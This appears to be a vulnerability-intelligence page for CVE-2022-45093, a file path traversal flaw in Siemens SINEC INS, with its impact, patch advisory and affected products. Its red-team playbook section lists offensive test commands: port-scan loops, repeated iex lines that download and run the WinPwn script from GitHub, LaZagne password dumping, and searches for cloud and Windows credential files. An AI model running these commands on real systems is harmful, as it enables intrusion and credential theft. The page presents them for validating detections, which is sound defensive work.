CVE-2022-45093
Overview
This vulnerability is a directory traversal flaw (CWE-22) in Siemens SINEC INS affecting versions prior to V1.0 SP2 Update 1. The root cause lies in insufficient validation of file paths accessed via the Web Based Management interface (TCP port 443) and the SFTP server (TCP port 22). This improper sanitization enables attackers with authenticated access to manipulate file system paths, compromising the integrity of file operations within the affected component.
Vulnerability Description
A vulnerability has been identified in SINEC INS (All versions < V1.0 SP2 Update 1). An authenticated remote attacker with access to the Web Based Management (443/tcp) of the affected product as well as with access to the SFTP server of the affected product (22/tcp), could potentially read and write arbitrary files from and to the device's file system. An attacker might leverage this to trigger remote code execution on the affected component.
Impact
An attacker with valid credentials and network access to the Web Based Management and SFTP services can read and modify arbitrary files on the device, potentially enabling remote code execution. This capability allows unauthorized alteration of system files, leading to compromise of device integrity and control. The vulnerability requires low privilege authentication (PR:L) and network access (AV:N), with high impact on confidentiality, integrity, and availability (C:H/I:H/A:H) as indicated by the CVSS 8.5 score.
Solution
Siemens has released a security advisory SSA-332410 which addresses this issue in SINEC INS version 1.0 SP2 Update 1 and later. Users should upgrade affected installations to this version or newer as detailed in the advisory (https://cert-portal.siemens.com/productcert/pdf/ssa-332410.pdf). No specific workarounds are provided; applying the vendor-supplied patch is the recommended remediation step.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A critical vulnerability has been identified in the SINEC INS product, specifically in versions prior to V1.0 SP2 Update 1. This flaw allows an authenticated remote attacker to exploit the Web Based Management interface and the SFTP server, both of which operate on standard ports (443/tcp and 22/tcp, respectively). The vulnerability arises from improper access controls that permit unauthorized file operations on the device's file system. This includes the ability to read and write arbitrary files, which can lead to severe consequences, such as remote code execution. The implications of such a vulnerability are significant, as it compromises the integrity and confidentiality of the system, potentially allowing attackers to manipulate system behavior or exfiltrate sensitive information.
The attack vectors associated with this vulnerability are particularly concerning. An attacker must first gain authenticated access to the management interface or the SFTP server, which may be achieved through various means, such as credential theft or exploiting weak passwords. Once inside, the attacker can leverage the file system access to upload malicious scripts or modify existing files to execute arbitrary code. This could lead to a complete takeover of the affected system, allowing the attacker to perform a range of malicious activities, from data theft to further lateral movement within the network. The ease of exploitation, combined with the potential for severe outcomes, makes this vulnerability a high-priority concern for organizations utilizing the affected product.
The real-world impact of this vulnerability can be profound, particularly for organizations that rely on SINEC INS for network management and monitoring. The ability for an attacker to execute arbitrary code could lead to service disruptions, data breaches, and significant financial losses. Moreover, the exploitation of such vulnerabilities can damage an organization's reputation, eroding customer trust and potentially leading to regulatory scrutiny. Businesses in critical infrastructure sectors, such as energy, transportation, and manufacturing, may face additional risks, as the compromise of their network management systems could have cascading effects on operational safety and security.
To effectively detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating the SINEC INS product to the latest version is crucial, as it addresses known vulnerabilities and enhances security features. Additionally, organizations should enforce strict access controls, ensuring that only authorized personnel have access to management interfaces and SFTP servers. Monitoring and logging access attempts can help detect suspicious activities, enabling timely incident response. Employing intrusion detection systems (IDS) can also provide an additional layer of security by identifying potential exploitation attempts in real-time.
In conclusion, the vulnerability present in SINEC INS poses a significant threat to organizations that utilize this product. The potential for remote code execution through improper access controls highlights the need for robust security measures and proactive management of vulnerabilities. By understanding the technical details, attack vectors, and real-world implications, organizations can better prepare themselves to defend against potential exploits and safeguard their critical systems. Regular updates, stringent access controls, and continuous monitoring are essential strategies to mitigate the risks associated with this vulnerability and maintain the integrity of network management operations.
Affected Products (4)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Siemens | Sinec Ins | All |
cpe:2.3:a:siemens:sinec_ins:*:*:*:*:*:*:*:*
|
|
|
Siemens | Sinec Ins | 1.0 |
cpe:2.3:a:siemens:sinec_ins:1.0:-:*:*:*:*:*:*
|
|
|
Siemens | Sinec Ins | 1.0 |
cpe:2.3:a:siemens:sinec_ins:1.0:sp1:*:*:*:*:*:*
|
|
|
Siemens | Sinec Ins | 1.0 |
cpe:2.3:a:siemens:sinec_ins:1.0:sp2:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-45093 |
| cert-portal.siemens.com |
GitHub CVE
|
https://cert-portal.siemens.com/productcert/pdf/ssa-332410.pdf |